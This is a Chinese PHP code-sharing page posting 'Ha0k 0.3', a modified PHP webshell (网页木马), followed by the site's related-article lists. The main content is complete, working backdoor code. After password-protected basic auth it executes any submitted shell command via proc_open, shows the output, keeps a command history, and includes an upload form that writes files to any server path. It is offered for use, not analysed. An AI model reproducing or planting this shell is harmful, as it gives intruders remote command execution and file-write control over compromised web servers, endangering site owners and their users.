Ha0k 0.3 PHP 网页木马修改版


Posted in PHP onOctober 11, 2009
<?php 
//此处可设置多个用户 
$passwd = array('ha0k' => 'ha0k', 
'hackerdsb'=>'hackerdsb'); 
/* 此处设置命令的别名 */ 
$aliases = array('ls' => 'ipconfig', 
'll' => 'ls -lvhF'); 
if (!isset($_SERVER['PHP_AUTH_USER'])||!isset($_SERVER['PHP_AUTH_PW'])|| 
!isset($passwd[$_SERVER['PHP_AUTH_USER']]) || 
$passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) { 
header('WWW-Authenticate: Basic realm="by Ha0k"'); 
header('HTTP/1.0 401 Unauthorized'); 
$authenticated = false; 
} 
else { 
$authenticated = true; 
/* 开始session */ 
session_start(); 
/* 初始化session. */ 
if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) { 
$_SESSION['cwd'] = getcwd(); //取当前目录 
$_SESSION['history'] = array(); 
$_SESSION['output'] = ''; 
} 
if (!empty($_REQUEST['command'])) { 
if (get_magic_quotes_gpc()) { //0表关闭,1表开启,开启时过滤 
/* We don't want to add the commands to the history in the 
* escaped form, so we remove the backslashes now. */ 
$_REQUEST['command'] = stripslashes($_REQUEST['command']); //将用addslashes()函数处理后的字符串返回原样 
} 
/* history */ 
if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false) //查找保存数组中的值 
unset($_SESSION['history'][$i]); //销毁 
array_unshift($_SESSION['history'], $_REQUEST['command']);//array_unshift()函数的作用是在一个数组中插入新的元素。而这个新的数组将被添加到原数组的开头部分。函数最终返回的是插入新元素后的数组。 
/* 输出Ha0k# command */ 
$_SESSION['output'] .= 'Ha0k# ' . $_REQUEST['command'] . "\n"; 
/* Initialize the current working directory. */ 
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) { 
$_SESSION['cwd'] = dirname(__FILE__); //获取当前所在目录 
} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) { 
/* The current command is a 'cd' command which we have to handle 
* as an internal shell command. */ 
if ($regs[1][0] == '/') { 
/* Absolute path, we use it unchanged. */ 
$new_dir = $regs[1]; 
} else { 
/* Relative path, we append it to the current working 
* directory. */ 
$new_dir = $_SESSION['cwd'] . '/' . $regs[1]; 
} 
/* Transform '/./' into '/' */ 
while (strpos($new_dir, '/./') !== false) 
$new_dir = str_replace('/./', '/', $new_dir); 
/* Transform '//' into '/' */ 
while (strpos($new_dir, '//') !== false) 
$new_dir = str_replace('//', '/', $new_dir); 
/* Transform 'x/..' into '' */ 
while (preg_match('|/\.\.(?!\.)|', $new_dir)) 
$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); 
if ($new_dir == '') $new_dir = '/'; 
/* Try to change directory. */ 
if (@chdir($new_dir)) { //改变当前目录 
$_SESSION['cwd'] = $new_dir; 
} else { 
$_SESSION['output'] .= "cd: could not change to: $new_dir\n"; 
} 
} else { 
/* The command is not a 'cd' command, so we execute it after 
* changing the directory and save the output. */ 
chdir($_SESSION['cwd']); //改变目录 
/* 别名扩展 */ 
$length = strcspn($_REQUEST['command'], " \t"); //查找\t字符串,返回位置 
$token = substr($_REQUEST['command'], 0, $length); //取字符串0-\t 
if (isset($aliases[$token])) 
$_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length); 
$p = proc_open($_REQUEST['command'], //执行脚本 
array(1 => array('pipe', 'w'), 
2 => array('pipe', 'w')), 
$io); 
/* 读出发送 */ 
while (!feof($io[1])) { 
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]), //转换特殊字符为HTML字符编码 
ENT_COMPAT, 'GB2312'); 
} 
/* 读出 */ 
while (!feof($io[2])) { 
$_SESSION['output'] .= htmlspecialchars(fgets($io[2]), 
ENT_COMPAT, 'GB2312'); 
} 
fclose($io[1]); 
fclose($io[2]); 
proc_close($p);//关闭管道 
} 
} 
/* 构建在JavaScript使用命令历史记录 */ 
if (empty($_SESSION['history'])) { 
$js_command_hist = '""'; 
} else { 
$escaped = array_map('addslashes', $_SESSION['history']); 
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';//将数组搞成字符串 
} 
} 
header('Content-Type: text/html; charset=GB2312'); 
echo '<?xml version="1.0" encoding="GB2312"?>' . "\n"; 
?> 
<?php 
if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) { 
copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']); 
//echo "上传文件成功: " . $HTTP_POST_FILES['userfile']['name']; 
} 
?> 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> 
<head> 
<title>Ha0k webshell</title> 
<script type="text/javascript" language="JavaScript"> 
var current_line = 0; 
var command_hist = new Array(<?php echo $js_command_hist ?>); 
var last = 0; 
function key(e) { 
if (!e) var e = window.event; 
if (e.keyCode == 38 && current_line < command_hist.length-1) { 
command_hist[current_line] = document.shell.command.value; 
current_line++; 
document.shell.command.value = command_hist[current_line]; 
} 
if (e.keyCode == 40 && current_line > 0) { 
command_hist[current_line] = document.shell.command.value; 
current_line--; 
document.shell.command.value = command_hist[current_line]; 
} 
} 
function init() { 
document.shell.setAttribute("autocomplete", "off"); 
document.shell.output.scrollTop = document.shell.output.scrollHeight; 
document.shell.command.focus(); 
} 
</script> 
<style type="text/css"> 
<!-- 
.STYLE1 { 
color: #33FF33; 
font-weight: bold; 
} 
a:link { 
text-decoration: none; 
} 
a:visited { 
text-decoration: none; 
} 
a:hover { 
text-decoration: none; 
} 
a:active { 
text-decoration: none; 
} 
--> 
</style> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /></head> 
<body onload="init()"> 
<BODY BGCOLOR="#$$$$$$"> 
<BODY TEXT="1afa3a"> 
<h1><a href="http://hi.baidu.com/hackerdsb" class="STYLE1">HA0K</a></h1> 
<h6>WE JUST FOR JUSTICE,FIGHT FOR EVIAL</h6></FONT> 
<?php if (!$authenticated) { ?> 
<p>You failed to authenticate yourself to PhpShell. You can <a 
href="<?php echo $_SERVER['PHP_SELF'] ?>">reload</a> to try again.</p> 
<p>Try reading the <a href="INSTALL">INSTALL</a> file if you're having 
problems with installing PhpShell.</p> 
</body> 
</html> 
<?php // 
exit; 
} 
error_reporting (E_ALL); 
if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 10; 
?> 
<p>当前目录为: <code><?php echo $_SESSION['cwd'] ?></code></p> 
<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post"> 
<div> 
<textarea name="output" readonly="readonly" cols="80" rows="<?php echo $_REQUEST['rows'] ?>"> 
<?php 
$lines = substr_count($_SESSION['output'], "\n"); 
$padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines)); 
echo rtrim($padding . $_SESSION['output']); 
?> 
<</textarea> 
</div><br> 
<p class="prompt"> 
$ <input class="prompt" name="command" type="text" 
onkeyup="key(event)" size="78" tabindex="1"> 
</p> 
<p> 
<input type="submit" value="执行" /> 
<input type="submit" name="reset" value="恢复" /> 
行数: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" /> 
</p> 
</form> 
<form enctype="multipart/form-data" action="" method="post"> 
<input type="hidden" name="MAX_FILE_SIZE" value="1000000"> 
<p>本地文件名: <input name="userfile" type="file"> 
<p>远程文件名: <input name="remotefile" type="text"> 
<input type="submit" value="发送"> 
</form> 
</body> 
</html>

 Mcafee(麦咖啡杀毒软件) 防止网页被挂马的设置教程(最后不要在服务器端打开) 我们强烈推荐服务器安装mcafee 8.5i的版本

全世界最小的php网页木马一枚 附PHP木马的防范方法

PHP 相关文章推荐
php smarty模版引擎中变量操作符及使用方法
Dec 11 PHP
PHP array操作10个小技巧分享
Jun 23 PHP
基于PHP编程注意事项的小结
Apr 27 PHP
探讨:如何通过stats命令分析Memcached的内部状态
Jun 14 PHP
ThinkPHP模板范围判断输出In标签与Range标签用法详解
Jun 30 PHP
ThinkPHP框架任意代码执行漏洞的利用及其修复方法
Jul 04 PHP
微信公众号开发之文本消息自动回复php代码
Aug 08 PHP
PHP 类与构造函数解析
Feb 06 PHP
PHP中的日期时间处理利器实例(Carbon)
Jun 09 PHP
PHP简单实现解析xml为数组的方法
May 02 PHP
PHP 代码简洁之道(小结)
Oct 16 PHP
Laravel + Elasticsearch 实现中文搜索的方法
Feb 02 PHP
PHP获取163、gmail、126等邮箱联系人地址【已测试2009.10.10】
Oct 11 #PHP
PHP 日期时间函数的高级应用技巧
Oct 10 #PHP
PHP 日期加减的类,很不错
Oct 10 #PHP
全世界最小的php网页木马一枚 附PHP木马的防范方法
Oct 09 #PHP
PHP 字符串分割和比较
Oct 06 #PHP
PHP parse_url 一个好用的函数
Oct 03 #PHP
php面向对象全攻略 (十七) 自动加载类
Sep 30 #PHP
You might like
php更新mysql后获取影响的行数发生异常解决方法
2013/03/28 PHP
javascript数组与php数组的地址传递及值传递用法实例
2015/01/22 PHP
php查询相似度最高的字符串的方法
2015/03/12 PHP
PHP中md5()函数的用法讲解
2019/03/30 PHP
PHP实现创建一个RPC服务操作示例
2020/02/23 PHP
jqgrid 简单学习笔记
2011/05/03 Javascript
javascript解决innerText浏览器兼容问题思路代码
2013/05/17 Javascript
jquery 页面滚动到指定DIV实现代码
2013/09/25 Javascript
探讨JavaScript中的Rest参数和参数默认值
2015/07/29 Javascript
分享一些常用的jQuery动画事件和动画函数
2015/11/27 Javascript
AngularJs Understanding the Model Component
2016/09/02 Javascript
Bootstrap CSS组件之按钮下拉菜单
2016/12/17 Javascript
微信小程序 Canvas增强组件实例详解及源码分享
2017/01/04 Javascript
vue地区选择组件教程详解
2018/05/04 Javascript
详解angular2 控制视图的封装模式
2018/12/27 Javascript
js中值引用和地址引用实例分析
2019/06/21 Javascript
JointJS JavaScript流程图绘制框架解析
2019/08/15 Javascript
vue实现树形结构样式和功能的实例代码
2019/10/15 Javascript
Vue列表如何实现滚动到指定位置样式改变效果
2020/05/09 Javascript
[41:41]TFT vs Secret Supermajor小组赛C组 BO3 第一场 6.3
2018/06/04 DOTA
用Pygal绘制直方图代码示例
2017/12/07 Python
Python查找两个有序列表中位数的方法【基于归并算法】
2018/04/20 Python
Python实现去除列表中重复元素的方法小结【4种方法】
2018/04/27 Python
pycharm安装和首次使用教程
2018/08/27 Python
Python中list循环遍历删除数据的正确方法
2019/09/02 Python
mac 上配置Pycharm连接远程服务器并实现使用远程服务器Python解释器的方法
2020/03/19 Python
python可以用哪些数据库
2020/06/22 Python
使用BeautifulSoup4解析XML的方法小结
2020/12/07 Python
纯css3显示隐藏一个div特效的具体实现
2014/02/10 HTML / CSS
粗加工管理制度
2014/02/04 职场文书
企业后勤岗位职责
2014/02/28 职场文书
机关节能减排实施方案
2014/03/17 职场文书
给孩子的新年寄语
2014/04/08 职场文书
授权委托书怎么写
2014/09/25 职场文书
2016大学自主招生推荐信范文
2015/03/23 职场文书
任命书格式范文
2015/09/22 职场文书